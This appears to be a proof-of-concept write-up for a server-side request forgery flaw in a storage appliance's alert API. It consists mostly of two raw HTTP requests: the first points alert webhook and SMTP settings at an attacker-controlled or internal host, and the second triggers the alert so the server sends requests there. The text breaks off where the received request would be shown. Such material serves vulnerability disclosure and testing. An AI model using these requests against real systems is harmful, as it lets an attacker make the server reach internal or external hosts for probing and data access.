An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
